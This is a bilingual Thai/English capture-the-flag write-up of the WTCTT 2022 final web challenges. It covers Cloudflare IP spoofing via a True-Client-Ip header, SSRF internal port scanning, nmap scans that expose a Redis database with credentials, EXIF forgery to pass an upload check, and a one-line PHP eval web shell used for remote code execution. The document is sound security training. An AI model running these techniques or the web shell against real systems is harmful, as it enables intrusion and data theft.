▸ WTCTT 2022 Final Round
Web Security
- Do you still remember the manager of the Cyberspace Hotel? In 2003, when Chang Ming was just sixteen years old, he was recruited by the feline government to serve as a cyber spy, tasked with infiltrating the LongCat Malware Lab. He said that web hacking is easy. First, it just breaks in and then breaks out. So, it’s now your time to show web hacking kung-fu here.
https://malware-lab.ctf.p7z.pw

Solution
.. didn't originate from cloudflareแสดงว่า เราต้องรู้ว่าipv4 cloudflareคืออะไร และ ip เราเป็นอะไร ปลอมแปลงได้อย่างไร
.. didn't originate from cloudflaremeans we need to know whatipv4 cloudflareis, and what our IP is, and how to spoof it.

การปลอมแปลง IP มีได้หลายแบบ
X-Forwarded-Forแต่ลองแล้วไม่ได้ เลยไปดูที่ cloudflare manage
IP spoofing can be done multiple ways.
Tried
X-Forwarded-Forbut it didn’t work, so went to look at cloudflare managed transforms.
https://developers.cloudflare.com/rules/transform/managed-transforms/reference/
- เปลี่ยนเป็น
true-client-ip
- Switch to
true-client-ipinstead.


FLAG_WTCTT_01{89df5ba2163861e8c565aff3313ba6ea}
- หรือใช้ curl
- Or use curl
curl --header "True-Client-Ip: 103.21.244.0" -I https://malware-lab.ctf.p7z.pw

- “During the secure development life cycle (SDLC) of LongCat Malware Lab, a privileged function was secretly added for debugging purposes. The programmer told me that he had already removed it. Can you please just quickly check if that is true or not?
Prerequisite: Challenge #1
Solution
- หลังจาก spoof IP จะทำให้เข้าหน้า dashboard ได้
- After spoofing the IP, we can reach the dashboard page.

- View source
- View source

เวลาสังเกต css ให้สังเกตว่า ช่องที่ใช้งานจริง กับ css ที่เตรียมไว้มีอะไรต่างบ้าง เช่น มี textarea กับ input(debug) ที่น่าสงสัย
ลอง
?debug=1มีหน้าเกิดขึ้น และพอกด scan เกิด textarea
When inspecting the CSS, compare what’s actually used on the page vs what’s defined in the CSS. For example, there’s a suspicious
textareaandinput(debug).Try
?debug=1, a new page appears, and after clicking scan, a textarea shows up.

แสดงว่า programmer ลืมเอาส่วนแสดงผลใน css ออก
ไปดูที่
burp .. HTTP historyจะเห็นตอนที่เราใส่ debug=1 จะมี flag2
The programmer forgot to remove the visible part in the CSS.
Check
burp .. HTTP history. When we setdebug=1, flag2 appears.

FLAG_WTCTT_02{8e80e2804bd9edad68e3e8706ec2657e}
- “LongCat Malware Lab is much more complex than it looks. There are multiple adjacent sub-systems on the internal network side. It is not easy to find but also not hard to find. Find it.
Prerequisite: Challenge #2
ประเด็นคือ การจะเชคว่า web secure หรือไม่ น่าจะต้องมี server และมีการส่งค่าไปตรวจสอบ แสดงว่า เราต้องมี webserver เพื่อดูว่าเจ้า malware lab ยิงอะไรไปตรวจสอบ
Tool น่าสนใจ
- 10min mail … เมล์ใช้แล้วทิ้ง
- Requestbin … webserver
The point is, to check whether a web is secure, there must be a server that sends a value to check. That means we need a webserver to see what the malware lab is sending out to verify.
Useful tools:
- 10min mail … disposable email
- Requestbin … webserver


- “So you have just found that internal server? Now, find the service that is running on it !
Prerequisite: Challenge #3”
Internal IP …nmap ไม่ได้ ใช้การ “internal port scan” โดยใช้ Server Site Request Forgery
Scan top 1000 port … หา word list top 1000 tcp เตรียมไว้
The IP is internal, so nmap can’t reach it. Use “internal port scan” via Server-Side Request Forgery instead.
Scan top 1000 ports … prepare a top 1000 TCP wordlist.

- เข้าหน้าเว็บเดิม จากที่ได้ flag ก่อนหน้า send to intruder
- Go back to the same page where we got the previous flag, send it to Intruder.

- Intrude ตำแหน่ง port
- Intrude the port position.

Length ส่วนใหญ่ 44xx แต่มีตัวประหลาดมากกว่า แสดงว่ามีข้อมูลเพิ่มเติม
เจอที่ port 8200 ผลลัพธ์จากการ scan จะเห็น flag4
Most lengths are 44xx but some are weirdly larger, meaning there’s extra data.
Found it at port 8200. The scan result shows flag4.

note : ตอนทดลองทำตาม Internal server ปิดแล้ว
note : By the time of writing the recreated walkthrough, the internal server was already taken down.
- “We have the ""tools"" for an in-memory database. The in-memory database is super fast, and maybe secure because we are running it on a non-default port. Like what we did with that secret FTP service.
Prerequisite: Challenge #4, or OSINT
จากข้อ 4 สังเกต img src = ….https://malware-lab-tools.ctf.p7z.pw/image.jpg
อาจเป็น in-memory database ลอง
From challenge #4, notice img src = ….https://malware-lab-tools.ctf.p7z.pw/image.jpg
This might be the in-memory database. Try:
nmap -Pn -n -p- malware-lab-tools.ctf.p7z.pw –-open -v
- โดยทั่วไป ถ้า subnet เดียวกัน จะ arp scan แต่ถ้าคนละ subnet จะ ping ไป ดังนั้น ถ้ารู้ว่า server เปิดแน่ๆ ใช้ -Pn จะไม่ ping (ลดเวลา) จะทำการ scan port เลย
-n แปลง ip <-> domain ดังนั้น มันจะเร็วขึ้น --open เฉพาะ port ที่เปิด -v verbose โชว์ข้อความ debug มาด้วย
- Normally, in the same subnet nmap does arp scan. In a different subnet it pings first. So if we already know the server is up, use
-Pnto skip the ping (saves time) and go straight to port scanning.
-n skip DNS resolution, faster --open only show open ports -v verbose, show debug output

เจอ Port = 9736 เปิด
Scan ช่องโหว่ของ port
Port 9736 is open.
Scan that port for vulnerabilities:
nmap -p 9736 –open -vvv -sV malware-lab-tools.ctf.p7z.pw

เจอเป็น Redis DB
ต่อเข้าจะได้ user / pass
Turns out it’s a Redis DB.
Connect and grab the user/pass.



- ระหว่างแข่งมี hint ให้ username / pass
superadmin : 5LPdcagm4AiqF9Wt
- During the competition, a hint gave username/pass
superadmin : 5LPdcagm4AiqF9Wt.
- “Use the credential from the in-memory database in challenge 5 to log in to the Malware Lab Portal. Infiltrate into the underlying malware sandbox system.
https://malware-lab-portal.ctf.p7z.pw
Prerequisite: Challenge #5”


ต้องการ .jpg หรือ .zip
อยากรู้ code เลยลองหา code จาก Burp ดัก ตอนส่ง จะเห็นว่ามี api/upload.php
หรือไม่ก็ view source จะเห็นว่า ส่ง แบบ post ไปหา api/upload.php
Wants a .jpg or .zip.
Wanted to see the code, so caught the upload via Burp. We see
api/upload.php.Or view source: it POSTs to
api/upload.php.

แต่เปิดใน burp ไม่เจอ code เลยต้องพยายามค้นใน backup
ลอง directory fuzzing
Opening it in Burp doesn’t show the code, so we had to search for a backup.
Try directory fuzzing.

- Hint เพิ่มระหว่างแข่งให้ file backup.zip ดู code upload.php
- During the contest, an extra hint gave us
backup.zipto read theupload.phpcode.


- ค้นหาแล้ว error Undefined ไม่มีใน code แนะนำให้ใช้ tool convert เพื่อให้ได้รูป jpg ที่แน่นอน
- Searched and got an
Undefinederror, the value isn’t in the code. Recommended to use a converter tool to get a guaranteed proper jpg.

เมื่อเป็น รูปที่ถูก จะหลุด code มา show ใน กรณี file empty
อ่าน code แสดงการทำงาน คือ แตก zip -> หาไฟล์ txt
แต่การจะ unzip ได้ ต้อง เข้ารหัสด้วย pass ที่เจอ กรณีที่ lat-long ของภาพถูก
When the image is valid, the code leaks output (for the empty file case).
Reading the code: extract the zip -> look for a txt file.
But to unzip, the password is set only if the image’s lat-long is correct.
if($malware_logo_exif['GPSLatitudeRef'] === 'N' &&
$malware_logo_exif['GPSLongitudeRef'] === 'E'
Tool: exiftool
exiftool -GPSLatitude=13.7442821 -GPSLatitudeRef=N -GPSLongitude=100.5347507 -GPSLongitudeRef=E FILE

$extract_dir = '/opt/sandbox/' . md5_file($_FILES['malware_zip']['tmp_name']) .
ไล่ code จะเห็นว่าตรวจสอบบรรทัดแรกก่อนคือ คำว่า help แล้ว จะตัดคำอื่นๆ ต่อ เพราะฉะนั้น มีแนวโน้มว่าไฟล์ ควรจะมีข้อความ
Reading the code: it first checks that the first line is help, then splits the other words. So our file should contain something like:
Help a.php <?php /…. ?>
Note:
Simple php … <?php system("id");?>
- แต่จะมีปัญหาการโดนตัดคำด้วย split ช่องว่าง ทำให้เลือกใช้
<?=eval($_POST[0];?>
- But the problem is the split-by-whitespace, so we use
<?=eval($_POST[0];?>instead.
<?=eval[$_POST[0]];?> .... php shell หลีกเลี่ยงการตัดด้วย spacebar
- ดังนั้น ข้อความในไฟล์ที่จะแนบคือ
- So the text inside the attached file is:
Help a.php <?=eval[$_POST[0]];?>

- Zip with pass ที่ได้ แล้ว upload ใหม่ ด้วยรูปที่ไม่มี location
- Zip with the password we got, then re-upload along with an image with no location.

From code > http://malware-lab-sandbox.ctf.p7z.pw:31337/sandbox_5njv2wbv9hb9p9a5/ของเรา
From code:
http://malware-lab-sandbox.ctf.p7z.pw:31337/sandbox_5njv2wbv9hb9p9a5/Ours:
http://malware-lab-sandbox.ctf.p7z.pw:31337/sandbox_5njv2wbv9hb9p9a5/488ea36db3ab2a24aa97039d3fa36c82/a.php
- เปิดจะไม่มีอะไร เพราะครั้งแรกของการ upload ถ้าไม่มีไฟล์ จะสร้างไฟล์เปล่า
- Opening it shows nothing, because on the first upload (without a file), it creates an empty file.

- ดังนั้น… ต้อง up ใหม่ จะเป็นการเอา command ที่เขียนไปใส่ใน php
- So… re-upload, which will inject our command into the php file.

- ใช้ repeater ใน burb เพื่อส่ง argument
- Use Burp Repeater to send arguments.

จะ show info และเพราะคำใบ้คือ env ดังนั้น จะได้ flag จาก response กรณีนี้
ลองคำสั่งอื่น readfile()
It shows info, and since the hint was
env, the flag is in this response.Try other commands like
readfile().

Note: user ที่ shell ได้ จะมี directory /home/เก็บข้อมูลไว้ก่อน
Note: the user that gets the shell has a /home/ directory holding data already.
- “Remote code execution and enum the malware sandbox system. Flag is hidden in plain sight !
Prerequisite: Challenge #6
- จากข้อที่แล้ว มี 2 คน น่าสนใจ คือ wangli และ changming History ของ bash ย้อนหลัง
... /home/wangle/.bash_history
- From the previous challenge, 2 interesting users:
wangliandchangming. Check the bash history:... /home/wangle/.bash_history

- เจอว่า wangli ใช้ sql
- Found that wangli was using SQL.

- Changming เจอ flag !!
- Changming has the flag!
FLAG_WTCTT_07{48842e3b0084532ff2b9a4f9a2e11b8f}
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣤⣤⣤⣤⣤⣤⣤⣤⣀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀
⢀⣤⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⣠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⢠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠛⠻⣿⣿⣿⣿⣿⣿⣿⣷⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⣰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⡿⠂⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⣸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⣤⣴⣿⣿⣿⣿⣿⡿⠛⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⢰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠛⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠋ ⢀⣀⠀⠀⠀⠀⠀⠀
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠋⠁⠀⠀ ⣴⣿⣿⣿⣦⠀⠀⠀
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣦⣀⠀⠀⠀ ⢿⣿⣿⣿⡟ Ar3mus @ WTCTT 2022 Final Round
⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣦⣄ ⠉⠉⠁⠀⠀⠀⠀
⠸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⡄⠀⠀⠀⠀⠀
⠀⠀ ⠙⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠋
⠀⠀⠀ ⠀⠛⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠋⠁
⠀⠀ ⠀⠀⠀⠀⠉⠻⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠉⠙⠛⠛⠻⠿⠿⠟⠛⠛⠋⠉⠀⠀⠀⠀⠀


